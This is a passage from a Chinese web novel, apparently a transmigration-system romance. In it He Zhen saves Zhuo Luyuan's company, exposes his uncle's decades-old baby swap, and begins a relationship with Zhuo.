卓鹭元看了一眼贺真带来的早饭,看样子应该是家里阿姨做的清粥小菜,想了想把阿姨给他留早饭的话咽了回去, 洗漱好之后边吃边看对方的脸色:“你说今天要我陪你玩一天,应该不是真的吧?” “当然是真的。” 贺真没有和卓鹭元开玩笑。盛辉的事贺真已经在动手准备了,他不想再看到卓鹭元对那些人低三下四去求一线生机的样子。在他心里, 卓鹭元就应该是在阳光下灿烂鲜艳盛开的玫瑰花, 而不是昨天那样。 贺真看他吃着饭, 向他提议:“吃完饭我们出去走走。这些日子你一直到处奔波,就当是出去散心了。” “哦。”卓鹭元神情恹恹,公司那边他快拖不住了,如果明天他还是没有解决资金的问题,他就只能放弃了。卢俊城放了话,卓鹭元试了这么多天都没起色, 也不差这一会儿了。 今天天气不错,贺真开着车,带着卓鹭元往郊外的方向开去。卓鹭元坐在副驾上,靠在椅背上望着车窗外,不知道贺真要带他去哪里:“你要带我去哪?” “郊外,踏青。” 贺真看了一眼导航,对卓鹭元说:“还有四十分钟才到,如果累了就休息一会儿。” 踏青?卓鹭元知道淮市郊外有几个庄子, 还有一些农家乐,之前听说公司里不少人也会在周末约着过去玩玩。不过看贺真到方向,好像还不是那边。 只是卓鹭元没想到,贺真所说的踏青竟然真的只是字面意思上的踏青,卓鹭元踩在草地上的时候还有些没有搞清楚对方的用意。 贺真看他一脸不解,带着他慢慢在草地上走着:“从你开始忙这个项目开始,已经有两个月的时间没怎么出来走走了,上一次出门还是去马场。这边安静,不远处还有湖泊,出来走走心情能好一些。” 卓鹭元抬头看着太阳,伸手遮在自己的额头处,感受着阳光照在身上的感觉:“是啊,喝了几天酒,我都感觉自己像什么见不得人的夜间动物一样。” 周围一阵清风吹过,卓鹭元和贺真走到一处阴凉的地方,卓鹭元不顾形象地在草地上躺了下来,全然忽略了沾在身上的草屑,闭着眼睛对贺真说:“最近好累,结果紧绷的弦一松开,人也跟着困了。” 贺真看着卓鹭元安静闭着眼的样子,笑着赶走企图爬到他身上的小蚂蚁:“偶尔享受一下宁这样的宁静也不是坏事。只是这只小蚂蚁快要爬到你身上了,你不想看看它吗?” 卓鹭元“蹭”地一下站起来,转着圈看自己身上的蚂蚁:“你怎么不早说,你看看我身上还有没有蚂蚁?” 贺真拍掉他身上的草屑,承认自己是故意逗他的:“蚂蚁被我赶走了。不过我看你刚才的样子,还以为你不在意这些。” “你又逗我。”卓鹭元瞪贺真一眼,不知道这人是什么恶趣味,却见贺真也学着他刚才的样子躺了下来,问他:“你和卢俊城是怎么认识的?” 卓鹭元坐下,心里对贺真的问题有些意外,但还是回答了:“以前上学的时候认识的,他是我学长,当时他帮了我一个小忙,所以后来就熟起来了。” 卓鹭元说完似乎觉得有些好笑,不由得打趣贺真:“这两天无论是我妈还是盛俊文他们,都怕我伤心,在我面前提都不提卢俊城。你倒好,就这么直接问了出来,不怕我伤心?” 贺真反问他:“那你伤心吗?” 卓鹭元自己也不知道:“应该是伤心的吧,毕竟认识了这么多年,我也一直把他当朋友。可是这几天我一直在忙公司的事,忙起来之后竟然也没想起来他,你说这是不是很奇怪?” 在此之前,卓鹭元以为自己会因为卢俊城吃不好睡不好,可是现在想起他的时候,之前因为朋友生出的那点伤心已经消失了,剩下的只有陌生人一样的恨,他甚至有些怀疑自己是不是根本没把对方当作朋友。 “这很正常,不怪你。”贺真说道:“因为你是一个敢爱敢恨的人,所以我才会问这个问题。有时候我甚至希望你更自私或者无情一点,起码你不会受到伤害。我这么说,你会觉得我无情吗?” 如果不是因为系统的限制,贺真会从一开始就阻拦卓鹭元和卢俊城合作。或许人经历磨难是会成长,但他只想让自己喜欢的人永远安康。 “怎么可能。”卓鹭元抬头看着天空中飘过的云,想了想也跟着躺下来:“我知道你是担心我。” 想到贺真最近也不好过,卓鹭元问他:“贺家的事怎么样了,解决了吗?我没想到卢俊城会因为我对你出手,抱歉。” 想到这里卓鹭元就止不住地有些歉疚,他没想过卢俊城做事会这么绝,甚至把贺真也拉下水。 贺真倒不这么想:“和你无关。就算没有这件事,我那个叔叔也会出手对付我的。不过我也不是没有准备,他做不了什么,马上就会解决了。”他这段时间发现了一些东西,只是现在还不是时候拿出来。 卓鹭元见他说得轻松,像是胸有成竹的样子,也没有继续追问,重新闭上眼,趁着微风享受片刻的宁静。 贺真今天并非真的想让卓鹭元陪他玩一整天,只是想找个借口让他出来放松而已。 卓鹭元休息的时候,贺真悄悄问茶茶:“昨天我已经把这些日子的调查成果发给贺继明了,不出意外他今天就会收到,帮我看看隐藏任务进度。” 贺真这些日子也有些累,既要稳住公司,还要抽时间把能做的支线任务全做了攒积分,这会儿也学着卓鹭元闭着眼放松,让茶茶帮他看着点。茶茶听话地打开系统面板,惊喜地对贺真大喊:“宿主,隐藏任务显示完成啦!不愧是隐藏任务,一下子给了宿主五万点积分,茶茶马上把道具兑换给你!” 茶茶说完也不等贺真反应,点了购买直接买下了当初贺真看好的剧情编辑器,这样宿主就可以随意调动绿茶女配巧取豪夺的剧情了。十万积分呢,茶茶买的时候虽然有些肉疼,但还是在买好的第一时间献宝一样拿到贺真面前:“看,宿主想要的剧情编辑器!” “嗯。”贺真应了一声,随即却觉得有些不对劲,忽然睁开眼看着茶茶:“我的积分够了?” 茶茶的眼神有点飘忽,又把道具往贺真那里推了推:“当、当然!宿主这段时间这么辛苦,积分当然够啦!” 贺真看着茶茶不说话,虽然他这段时间确实忙得不行,但是他大致在脑海里估算过自己的积分,加上刚才茶茶说隐藏任务给的积分,差不多应该也在九万多左右,怎么可能一下子就买得起了? 贺真怕打扰到卓鹭元,所以依旧躺着没动,茶茶慢慢走过来窝在贺真旁边,对贺真嘻嘻笑着:“嘿嘿,宿主不要在意那么多啦,宿主完成任务的时候茶茶也是有积分奖励的哦!加上我的私房钱就够了!” 积分对宿主来说是购买道具的货币,对系统而言相当于能量,贺真闻言担忧地问茶茶:“你别骗我,你把积分都给我了,对你自己会怎么样?” 茶茶似乎是困了,脑袋一点一点的,说话也开始变得慢吞吞:“茶茶没有系统能量,就会开进入休眠状态,有能量了才会再次醒来。宿主,茶茶好困,可能要睡一个很长的觉,宿主一定要成功哦……” 茶茶的声音越来越小,最后整只猫缩成一团,变成一个光球飞回了系统空间,任贺真怎么叫它都没有回应。 贺真看着自己手上那个小巧却昂贵的道具,在心里无声地说:茶茶,谢谢你。 一天的时间过得很快,快到卓鹭元甚至有些留恋这种感觉,贺真却带他回到了昨天的江边:“昨天这个时候我兑现了承诺,那么今天也在这里结束吧。” 卓鹭元吹着晚风,头发被风吹得凌乱,他却没伸手去整理:“如果我不想结束呢?” 贺真趴在栏杆上,看着漆黑的江面对卓鹭元说:“今天不结束,明天怎么开始?鹭元,明天我陪你一起去公司,好吗?” 可是我不想明天到来。 卓鹭元的话到底没有说出口,声音中带着苦涩:“好。不过可能又会让你看到我狼狈的样子了,你可别后悔。” 贺真摇头,对卓鹭元打了个响指:“你不狼狈,你很好。鹭元,抬头。” 卓鹭元不明所以地抬头,江面上却忽然炸开烟花,数不清的烟花升空又倒映在江面上,连漆黑的江面也被点亮几分,卓鹭元一时间忘了说话,眼里心里都是贺真送给他的这场烟花。 贺真下意识摸向烟盒,看到卓鹭元时却又停下,问卓鹭元:“好看吗?” “好看。”卓鹭元下意识回答。他不是没看过烟花,甚至比这更美的烟花都看过,可他就是执拗地觉得贺真送他的这场烟花是最美的。 “可我觉得,再好看的烟花也比不上你。鹭元,你从来值得最好的。明天我会陪你一起,无论发生什么事,都请你相信我到最后。”贺真对剧情编辑器点了使用,他很自私,自私到连即便这是黎明前的最后一个夜晚,他也不想让卓鹭元黑漆漆地度过。 他的鹭元哥哥,要比烟花还耀眼。 第56章 第 56 章 第二天一…… 第二天一大早卓鹭元就起来了, 手指碰到柜子旁的抽屉时,还是拿出了那对蓝色的袖扣戴上, 站在镜子前看着里面的自己,似乎还是和从前一样,但有些事到底是不同了。 今天几乎是盛辉里人最齐的一天,卓鹭元和贺真走进会议室的时候,卢俊城已经到了,甚至还和颜悦色地和卓鹭元说话:“既然来了, 那就开始吧。只是我没想到,贺真竟然也来了。” “不用在意我,旁听而已。”贺真在卓鹭元身旁落座, 示意钱特助在门外等他消息。 卢俊城对众人笑笑, 自觉胜券在握, 刚要开口时会议室的门却被敲响了,郑煦带着人出现在会议室里,神情中还带着一些疲惫:“在卢总开口之前,不知盛辉这件事还有没有回旋的余地?” 郑煦拿出一份文件,让助理递给卢俊城,对上卢俊城不悦地视线, 缓缓开口说道:“据我所知,二位以前也是不错的朋友。不如这样,我来替盛辉作保,卢总再多给卓总一些时间解决,有什么事大家好商量。” 卢俊城没有打开那份文件,直接将文件推了回去:“看来郑总还没有搞清楚事情的状况。不过没关系,今天无论是谁来替盛辉作保,我都不会改变我的决定, 郑总,你也一样。” 只要能拿下盛辉,那卢氏即将成为淮市最大的地产商,卢俊城绝不可能为了郑家这点人情放弃马上到手的盛辉。 郑煦不是不知道这一点,只不过为了郑曦,即便他知道卢俊城会拒绝自己的提议,他也必须来试一试。 卓鹭元对郑煦的到来很意外,不过很快明白他大概是为了让郑曦心里开心一些。只是卢俊城摆明了不会给他任何机会,淮市除了郑煦和朋友们的私下帮助,几乎没有人敢对他伸出援手。 卓鹭元累了,他也不想继续拖别人下水。 卓鹭元叹了口气,对郑煦和所有股东们说说:“谢谢你,也替我谢谢郑曦。不过这件事就到此为止吧,就想你们看到的那样,这段日子我试了许队办法,我确实没有办法填上这部分的资金。卢俊城,你赢了。” 卢俊城对这个结果很满意,连语气里流露出几分倨傲:“鹭元,你应该早些明白过来的,这样我们也不会费这么多事。” 郑煦遗憾地叹了口气,到头来他也没有帮得上卓鹭元的忙,但愿曦曦能够放下吧,大不了等卓家倒了,他再私下里偷偷接济一下,也算没辜负曦曦的期待。 “叮!任务完成!”001号依旧充满元气,贺真闻言一秒钟也不敢耽搁,趁着人没散去时打电话给钱特助让他进来,自己则叫住了卢俊城:“卢总的话说完了,不如听听我的?” 卢俊城手指捏紧,不动声色地看向贺真,妄图从他眼里看出些什么:“哦?鹭元已经做了决定,不知道阿真还有什么想说的?” “当然有。”贺真接过钱特助拿来的文件,放在卓鹭元面前,轻声说:“打开看看?” 卓鹭元有些懵地看着贺真放在自己面前的文件,打开后猛然抬头:“你要给盛辉投资?!” “不可能!”卢俊城的反应比卓鹭元更大,脸上一贯的淡然再也维持不住,看着贺真的目光充满着怨愤:“贺继明他分明拖住了你,你怎么可能这么快就解决贺家的事!” 不仅是卢俊城,几乎外场的所有人都在好奇这个问题,本来对卓鹭元失望的股东也等待着贺真的回答,唯有了解一切的钱特助在心里叹了口气。 当初小贺总空降的时候,他还有些怀疑对方,可真正跟着他做事的时候,钱特助才发现对方比起贺总也丝毫不逊色。 贺真挡在卓鹭元身前,怕卢俊城气急对他动手:“贺继明有问题我一早就发现了,只是没想到他在帮你做事而已。既然你知道我们两家不和,又为什么会觉得我会什么防范都不做,傻傻地等着你们出手呢?” 贺真说完便看着想打电话给他那位好叔叔的卢俊城,继续说道:“不用找他了,这会他自顾不暇,应该是没有时间理你了。乔家也一样,你用这种方法对付鹭元和我,于情于理我都应该回敬你一些。” 卢俊城脸色阴沉,听着电话里的忙音毫不犹豫地挂断,怒极反笑:“上次你来见我的时候应该就已经在为今天做准备了,为什么当时不告诉我,是想看我的笑话吗?” “我没有那种闲情逸致,不过是想看看你的底牌罢了,避免节外生枝而已。”贺真一方面是因为系统的原因不能提前说什么,另一方面也是想看看卢俊城还有没有其他准备。而他的底牌,当然要等到最关键的时刻才能亮出来。 卢俊城沉默许久,什么也没说站起身来向外走去。事已至此,贺真解决了贺家的事恐怕会铁了心帮卓鹭元,他今天再也做不了什么了。 只是临走前,卢俊城没忍住看向贺真:“事情不会就这样结束的。贺真,既然我们已经翻脸了,我期待下次和你交手。”到时候他一定会连本带利地拿回来。 “恐怕你不会有那个机会了。”贺真丝毫不怕,看到卢俊城顿住的脚步,对他的背影说:“我在查贺继明的时候发现了一点东西,已经让人送到你家里了。卢俊城,去收下我的礼物吧。我说过,从你收到这份礼物开始,你以后的每一天都会是下坡路。” 卢俊城走了,郑煦也没有什么继续留下的必要,对卓鹭元和贺真点了点头也离开了。既然卓家没事,那大家以后见面的日子还长,卓鹭元今天还得处理公司的事。 会议室里原本满满当当的人散了个干净,卓鹭元看着贺真,语气里听不出感情:“你和我去办公室。” “好。”贺真沉默地跟在卓鹭元身后,刚进办公室就被对方拽住领带压在门上,顺手把办公室反锁了。 卓鹭元凑近贺真,语气里带着怒意:“为什么给盛辉注资?你知道这笔钱不是一个小项目,你为什么帮我?” 不等贺真回答,卓鹭元仰头看着他,语气里带着自己也不知道的期待:“你把我从乔昱褀手里救出来,送我礼物,甚至那天在江边还……” 卓鹭元难得有些不好意思,顿了顿继续说:“现在又帮我解决了公司的事。贺真,你为我做了这么多,是因为喜欢我吗?” 贺真没有回答,忽然抱住卓鹭元将他反压在门上,毫不犹豫地吻了下去,直到001号即将开始惩罚模式才将人松开:“那你呢,鹭元?我的回答,取决于你的回答。你想让我成为你的什么人?” “警告!警告!宿主正在对主角进行危险行为,系统将马上进行惩罚!”001号的莹白色光团闪着危险的红光,贺真只嫌它吵闹:“闭嘴!” 卓鹭元红着脸喘着粗气,整个人看着还没回神。眼看着001号的惩罚就要到来,贺真脑海里忽然凭空响起一道声音:“不许你这个智障系统欺负宿主!!!” 茶茶一脚踢飞001号,连001号的声音都卡了壳:“惩、惩罚……” 卓鹭元抬眼偷看贺真,鼓起勇气色厉内荏地说:“你当我是什么人,招惹了我还想跑?老老实实当我男朋友吧!” “恭喜宿主成功获得主角承认,正式从绿茶男配成功升格为主角!宿主,你真的做到啦!”茶茶欢乐地在贺真脑海里播报,贺真却一个字也没听见,眼里只有卓鹭元害羞的样子。 “我的荣幸。”贺真说完,也不等卓鹭元反应,再次抬起对方的下巴吻了下去,直到卓鹭元受不了地推开他才意犹未尽地后退一步。 “贺真真!” 卓鹭元都快被亲得喘不上气了,这人还不肯松手! 贺真好不容易转正,只觉得怎么亲都不够。但看着卓鹭元的反应,把人逼急了也不好,于是只是把人抱进怀里哄着:“我在。” 卓鹭元听到贺真说的话,心里忽然平静下来。 似乎从贺真出现在他身边开始就是这样,无论发生什么事,无论自己多狼狈,他始终都在自己身边没离开过。 贺真点开被他调度到以后的主线剧情,接取之后半真半假地开口:“现在只有我能帮鹭元哥哥了,只要鹭元哥哥答应和我在一起,我就帮鹭元哥哥,怎么样?” 贺真说完后又故作苦恼地叹了口气:“可是我舍不得鹭元哥哥苦恼,已经向盛辉注资了,鹭元哥哥可不能不要我。” 卓鹭元把头埋在贺真怀里,恶狠狠地说:“贺真真你认命吧,你已经被我套牢了,这辈子也别想跑!” “你在这呢,我跑什么。”贺真拍了拍卓鹭元的背,靠着对方的脑袋喟叹:“我也是有男朋友的人了,真好。” 卓鹭元点点头,忽然想起什么,推开贺真拿出手机,鼓捣了几下之后又放弃了。 贺真看他刚才打开的界面似乎是朋友圈,有些不解他怎么不发了:“怎么了?” 卓鹭元犹豫一下,说道:“算了,不发了。” 贺真一想也是,毕竟他们两个都是男人,虽然他无所谓,但他不想让卓鹭元被人在背后说三道四。 “你考虑的也有道理,那就不发了。”贺真点头赞同,却被卓鹭元笑着打断:“什么呀,你想到哪里去了。” 卓鹭元捧着手机笑着,得意地像只狐狸:“我是怕他们看到我有这么好的男朋友嫉妒我,才不给他们看!” 第57章 第 57 章 公司有救了,卓鹭元…… 公司有救了, 卓鹭元第一时间带着贺真去医院告诉卓父这个好消息。 卓父前些日子醒了过来,卓母怕他知道公司的事担心, 所以一直瞒着他,只说儿子在操持公司的事,让他好好养病,不要让儿子担心。卓父虽然不放心,但是为了不拖卓鹭元的后腿,还是一直在医院静养。 眼下公司的事解决了, 自己还有了新鲜出炉的男朋友,卓鹭元的心情好得不行,连说话的声音都上扬了一些:“爸, 我带着贺真来看你了。” 卓父对着两个人点点头, 担忧地看着卓鹭元:“你们怎么过来看我了, 公司的事怎么样了,解决了吗?” 卢俊城看着就不像是会放过他们的样子,卓父问出来的时候已经做好了最坏的打算,却没想到卓鹭元顺势点了点头:“嗯!阿真给我买注资了,所以算是解决了。爸,你这几天怎么样, 医生怎么说?” 卓母有些不相信卓鹭元的话,以为他是怕卓父担心,故意编个谎骗卓父的。但她也不好直说,于是主动把话题岔开:“你看看你,儿子忙公司的事还得担心你,你就听我的话,先把病养好,早点出院吧!” 卓鹭元也没心没肺地跟着点头:“我妈说得对, 爸你把病养好才是正事,我给你削个苹果吃。” 卓鹭元从果篮里摸了个苹果,但削来削去把苹果削得像土豆一样,果肉也被削掉了不少。卓鹭元看着自己手里越削越少的苹果,没想明白问题出在哪里,手里的苹果和水果刀就被贺真拿走了:“我来吧。” 贺真看不下去卓鹭元虐待苹果,自己结果手将剩下的部分削好,切成小块放在盘子里递给卓父。 卓父恨铁不成钢地看了一眼自己儿子,吃了一块盘子里的苹果,还挺甜。 卓母本来以为卓鹭元在强颜欢笑,但越观察越觉得不对劲,似乎眉眼间真的没有了前几天的郁气,整个人反而十分…阳光? 卓母试探性地问贺真:“小贺,你家的事解决了吗?”之前卓鹭元说贺家也陷入了漩涡之中,这么快就全都解决了? “嗯,都解决了。”贺真对卓母点头。 卓鹭元不满地看向卓母:“妈,你怎么不相信我,都说是阿真帮忙解决的。”真是的,怎么老妈还不信他。 卓母倒不是不信,就怕他报喜不报忧。卓父也有些不放心:“可是就算小贺给盛辉注资,那卢俊城也不会放过我们,之后的事你想好怎么办了吗?” 这个卓鹭元倒是真没想过,准确地说是还没来得及想这个问题,有些迷茫地转头看着贺真。贺真看着卓鹭元的迷茫的样子,很想捏一下他的脸,但在他爸妈面前还是忍住了,想了想对他们说:“不出意外的话,他应该不会再来找你们麻烦了。” 毕竟他送给卢俊城的礼物,对方这会儿应该收到了,这可是份大礼。 卢家。 卢俊城自从听了贺真的话后,心里就一直有种不好的预感,那种感觉像压在天空沉沉的乌云,让他下意识喘不上气,出了盛辉的大门就吩咐司机赶回家里。 只是贺真的动作还是快他一步,他踏进卢家客厅时,还未张口迎面便砸来一个茶杯,卢俊城闪躲不及被砸到了额头,鲜血顺着额角流了下来。 卢俊城额头一阵剧痛,下意识伸手捂住受伤的地方,却顾不上正在流血的伤口,眼神中充满了不可置信:“爸,你这是做什么?” 卢父胸口剧烈起伏,猛喘几口粗气才伸手指着卢俊城怒骂:“住口!你不许叫我爸,给我滚出卢家!” 卢俊城不知道自己做错了什么,整个人怔怔地站在原地,却看到了散落在地上的一堆照片,其中还夹杂着几份文件。 那大概就是贺真送给他的“礼物”,可卢俊城甚至不敢伸手去捡,他害怕其中的内容真的如贺真所说,能够毁了他未来的人生。但卢父没有放过他,看着卢俊城的样子气不打一出来:“你是不是早就知道,否则为什么不敢捡!” 卢俊城想说他没有,但面对震怒的卢父,卢俊城还是压下了内心深处的害怕,颤抖着手去捡那些东西,越看越觉得一切像一场梦。 那几张照片里的人卢俊城从没见过,可从他看到的第一眼起,他就能敏锐地发现照片中的人和自己的相似之处。他这时还能安慰自己是巧合,但当他看到那份自己和卢父显示没有血缘关系的亲子鉴定时,卢俊城终于崩溃了:“不可能,这不可能!” “有什么不可能的!” 卢父暴呵一声,捂着胸口几乎要倒下。他怎么也没想到,自己精心培养了快三十年孩子,竟然从一开始就不是自己的亲生子。贺继明,贺继明! 卢父越想越气,最后竟连站也站不住,两眼一翻向后倒去,卢俊城惊惶地扶住卢父,按了几次号码才打了120,将人送去医院。 卢俊城看着卢父被救护车拉走的背影,只觉得这一幕似曾相识。 对了,当时他对卓鹭元说要撤资时,卓父好像就是这样被送去医院的。卢俊城觉得有些讽刺,想笑自己这就是报应 ,却怎么也笑不出来。 不行,他一定要和贺真问个清楚! 卢俊城还未找到贺真,邹卉先找到了贺继明,将一份亲子鉴定报告狠狠拍在贺继明脸上,声音里都是刻骨铭心的恨意:“贺继明你真够恨啊!怪不得你那么干脆地推小彦出去顶罪,原来是早就偷梁换柱把我的孩子换走了,让小彦留在贺家给你当活靶子!别以为我不知道,你还暗地里帮叶云柏去出国进修,甚至连后路都给他铺好了,贺继明,你还是人吗!” 贺继明没想到贺真能查到这么多,一瞬间有些害怕他会不会还查到其他东西,色厉内荏地对邹卉说:“那又怎么样!你的孩子现在不是活得好好的吗?反正这个孩子也不是你亲生的,你那么在意做什么,不可理喻!” 邹卉没想到贺继明比她想象得还无情,不可置信地后退两步,随即冲上去狠狠扇了贺继明两个巴掌,速度快得甚至让贺继明没有反应过来,邹卉随即像一头暴怒的母狮子一样怒骂贺继明:“那是我从小养到大的孩子啊,我看着他从那么小一点长到这么大,你凭什么说把他推出去就推出去!贺继明,你就不是个人!” 贺继明被邹卉打得来了火气,说话也变得不客气起来:“你以为你养的儿子是什么好东西?吃喝嫖.赌样样精通,也就你把他还当个宝。实话告诉你吧,我就是故意看着你骄纵溺爱他,这样我才能名正言顺地推一个一无是处的废物出去。儿子?我的儿子只有叶云柏!” 贺继明说完,也不顾邹卉的打骂声,转身离开了别墅。既然他的谋算已经被贺真戳破了,他也是时候去找叶云柏一趟了。 叶云柏恍惚地坐在沙发上,连叶青华过来都没发现,直到手中被塞了一杯温水时才堪堪回过神来,下意识叫了一声“爸”,反应过来后却又闭紧嘴巴,红着眼眶不肯说话。 叶青华见不得自己儿子这么难过,心里不由得更加痛恨贺继明的糊涂行为,嘴上出言安抚道:“怎么,为了一张纸,连爸都不认了?” “爸,你明知道我不是那个意思!”叶云柏急忙反驳叶青华的话,他哪里是不认叶青华了,他是怕叶青华不认他啊! 叶青华温和地拍拍叶云柏的背,温声说:“云柏啊,你从小就优秀,从来没让我和你妈操过心。或许我和你妈从来没和你说过,但我们真的很感谢你来到我们身边,成为我们的孩子。你和我都是学医的,见过多少生而不养的父母?对我和你妈妈来说,这份感情并不因血缘而改变,你永远是我们最爱的孩子。” “爸。”叶云柏捂住自己的脸,他都快三十岁了,不想让他爸看到自己哭鼻子的丢脸样子。叶青华却笑了一声:“臭小子,有什么不好意思的。在我们心中,你一直都是孩子。想哭就哭吧,哭过之后还是得继续生活。” 叶云柏重重地点了点头,对叶青华说:“爸,我想见见贺彦。” 叶青华有些担忧,他听说那个孩子被贺继明推出去顶罪,他不清楚那个孩子的想法,或许两人贸然见面不是好事。 叶云柏却很坚持:“我只是想见他而已。爸,你放心,我不会做什么的,不管怎么说,贺彦也是你的孩子,我想见他。” 叶青华拗不过他,只好点头答应:“好。” 贺真几乎将贺继明做过的事抖得干干净净,甚至不忘给里面的贺彦也送了一份。贺真调查的时候也没想到,贺继明会胆大包天到换走卢家的孩子。另外一个孩子是个私生子,这些年日子过得不是很好,可以想象接下来卢家会有多大的动荡。 而此时贺彦隔着玻璃坐在叶云柏对面,自嘲地看着叶云柏:“怎么,想来看看我落魄的样子?你应该庆幸,不是你留在贺家。” 贺彦怎么也没想到,他那尊敬又信任的父亲,原来从一开始就放弃他了,原来他从来都是被放弃的,他甚至还甘愿背下一切,穿着这身耻辱的衣服坐在这里。 多可笑啊。 第58章 第 58 章 叶云柏沉默地看…… 叶云柏沉默地看着贺彦, 细看之下他确实像叶青华,只是没有叶青华的温润和儒雅, 眼前的贺彦沧桑又了无生气,明明和他一样大,却失去了所有的朝气。 贺彦也不知道叶云柏今天来找他想做什么,无论从哪个方面来说,他自己都是那个最大的输家。他看着叶云柏沉默地看着自己,忽然张口问自己:“你爱你的父母吗?” “爱?当然爱了, 我都坐在这里了,你说呢?叶云柏,回去吧, 回去找贺继明过你的大少爷生活, 别再出现在我面前了。比起我, 他应该更愿意看到你。至于贺家其他人,我一个也不想见。”贺彦挂了电话,闭上眼睛等着会面结束,不想听也不想看。 叶云柏看到贺彦态度坚决,叹了口气放下电话,离开了这里。 当贺继明找上叶云柏的时候, 叶云柏干脆利落地拒绝了,只在电话里给他留下几句话:“贺继明,你很可怕,也很冷血。贺彦确实做错了事,也受到了他应有的惩罚。可是有一件事他从来没有对不起你,他因为信任你这个父亲,幻想着即便出来了也是公司的继承人才肯把你做的脏事也认下来,但你却骗了他, 这么多年的父子之情对你而言什么也不是,甚至害了两个家庭。” 叶云柏身心俱疲,一句话就让贺继明的盘算全部落空:“我不会认你这样的人做父亲,也不会帮你去争什么家产,你死心吧。” “我是你爹,就算你不承认老子也是你爹!” 贺继明听着电话那头的忙音,气急败坏地将手机砸到地上,都怪贺真那个小杂种! 如果不是他手伸得太长,提前把他换了孩子的事都说了出来,他怎么会一点准备都没有!他之前都已经谋算好了,等他接手贺家,就以疗养院和叶青华作威胁,他不信叶云柏会不站在自己这边,那可是贺家的财产啊! 可他没想到叶云柏被叶青华教养得这么不识好歹,他都那么低三下四地和对方说话了,他竟然说自己冷血! 贺继明坐在别墅的沙发里逼迫自己冷静下来,把桌上邹卉留下的离婚协议书撕碎丢在一旁。这个时候看他倒了就想分走他的财产一走了之,邹卉想得倒美。 现在老爷子已经知道他换孩子的事了,好在贺彦是个扶不上墙的,他的亲生儿子叶云柏有那么优秀。老爷子向来偏帮自己,只要他多说点好话,再对叶云柏使使劲,说不定还有转机,只要卢家那件事不被曝出来,他就还有机会。 只是贺真显然不会留给他任何翻身的余地,几天后卢家孩子报错的事就在圈子里传得沸沸扬扬,成为了淮市最大的丑闻,别说贺老爷子保不住他,就算是贺父出马都未必能做到。 贺老爷子恨铁不成钢地指着贺继明怒骂:“你说说你,从小到大你要什么我们没有给过你!你换一个院长的孩子也就罢了,你竟然敢胆大包天到去换卢家的孩子,你这是为什么呀!” 贺继明强行压抑住内心袭来的巨大恐慌,颤抖着声音说:“我不是故意的,我真的不是故意的!”当初卢夫人在疗养院进行产后休养,他不小心听到对方刻薄的话,话里话外都在说自己能来这里是他们疗养院的福气。 可那时的贺继明什么也没有,唯有疗养院的项目这一根救命稻草,他的救命稻草在对方看来却是一文不值。所以他动手了,趁着所有人都不会知道的时候,把她的孩子和一个小三的孩子交换了,甚至恶毒地希望他们最好一辈子也别发现。 家业比他大又如何,还不是得给小三养儿子。 只是他没预料到,贺真居然连这件事都发现了。 贺老爷子去求卢家,对方却连门都不开,直接让人把贺老爷子架了出来。贺继明颓废地瘫坐在沙发上,他完了,卢家一定不会放过他的。 “你叔叔好坏,竟然做了这么多坏事。”卓鹭元抱着电话和贺真腻歪:“阿真,是不是如果卢俊城没招惹我,你原本不打算告诉他这件事的?” 贺真戴着耳机,一边处理公务一边回答:“嗯,那天我去找他,其实也是想看他会不会回头。”结果和他想象得差不多,那这份礼物他也送得心安理得,听说卢家现在正在世纪大战,卢俊城这个原本的天之骄子成了双方都不待见的存在。 卓鹭元叹了口气,点开贺真发给他的东西:“不过你也真厉害,你怎么知道那个跳楼的陈志一定会留下些什么证据的?万一他真的什么都没有呢?” “他不会的。”贺真耐心解释:“他的孩子还需要上学,妻子又没有一份正式的工作,他也知道如果自己什么保险都不做,一旦他死了,那两个人会成为真正的孤儿寡母,我赌他不敢。” 所以贺真找到了当初发现陈志抽烟比之前多的那个工人,让人引导着询问最近还有没有发现陈志其他地方不正常,最后终于在一个土料袋子里发现了一个被藏起来的盒子,里面是一份小诊所出具的癌症诊断书,和一部旧手机,里面存了他和对方的谈话录音。 卓鹭元收下证据,转手发给了法务去解决,自己则苦着脸对着贺真说:“我爸出院了,但还要静养一段时间。我不想待在公司,我想和你出去玩。” 贺真送走助理,把自己面前的文件推开,声音有点委屈:“我也想你了,不想工作。”他以前也不觉得需要处理的工作怎么这么多,但最近却总觉得这工作耽误自己和卓鹭元约会。 卓鹭元脸一红,明明办公室关着门,还是没忍住压低声音哄他:“别闹,你好好工作,我这里也还有一大堆烂摊子要收拾呢。” 贺真知道按卓鹭元现在的情况,估计是抽不开身了,但还是不死心地提议:“那我去接你下班,然后一起吃晚饭。我把工资卡都给你了,鹭元哥哥陪我吃顿饭不过分吧。” 卓鹭元快压不住自己上扬的嘴角:“好好好,那你处理完了来办公室找我。”前些日子贺真给了卓鹭元一张卡,卓鹭元还以为对方是担心自己的钱不够,谁知道贺真开口就说:“我爸说合格的男人一定要舍得给对方花钱,这是我的工资卡,上交给你了。”说是工资卡,其实也就是贺真这些年攒下来的钱。 卓鹭元拒绝的话转了个弯,故作苦恼地伸出手接过来:“咳,这不好吧?” 贺真抱住卓鹭元,把那张卡塞进他的口袋里:“我人都是你的了,何况这张卡。”而且他明明就很开心,还要逗贺真一下。 卓鹭元想着贺真下午会来,拍了拍脸打起精神,他要快点把这些事处理好。这还是他第一次谈恋爱呢,不能被这些事情绊住。 贺真来得比他想象中的快,几乎是下午上班后不久就到了盛辉。盛辉的前台还是那位小姐姐,这次贺真提前给卓鹭元打了电话,很顺利地就上去了。 “你怎么来得这么快……唔!”卓鹭元的唇被贺真封住,等贺真亲够了才把人放开:“想你了,所以早点来。” 卓鹭元还没完全习惯贺真的亲吻,没忍住在贺真胸口锤了一下:“我都喘不上气了。”卓鹭元的话说得轻飘飘的,贺真又在他脸颊处亲了一下:“那就慢慢习惯起来。” 卓鹭元拉着贺真坐下,心里有些纠结:“怎么办,我一会儿还有个会要开。要不……你在我办公室里等我?办公室里有个小休息间,你累了还可以躺下休息一会儿。” 贺真知道他忙,也没想打乱他的计划,笑了笑答应了:“好,不过之后的时间要留给我。” “嗯嗯。”卓鹭元点头答应,忽然想起来一件事:“对了,前几天没顾上,我们抽时间找盛俊文他们吃个饭吧,顺便把我们的。事情告诉他们。” 朋友们帮了他不少,他没打算瞒着盛俊文他们,还是请他们一起吃个饭或者喝个酒什么的正式一点。尤其是盛俊文,他要是不告诉对方自己的最新进展,不得冲到卓家来掀他的屋顶。 “都听你的。”贺真无可无不可,他也不想隐瞒,他巴不得全世界都知道卓鹭元名草有主,都别来打他的主意。至于之前想趁火打劫的那些人,他会慢慢算账的。 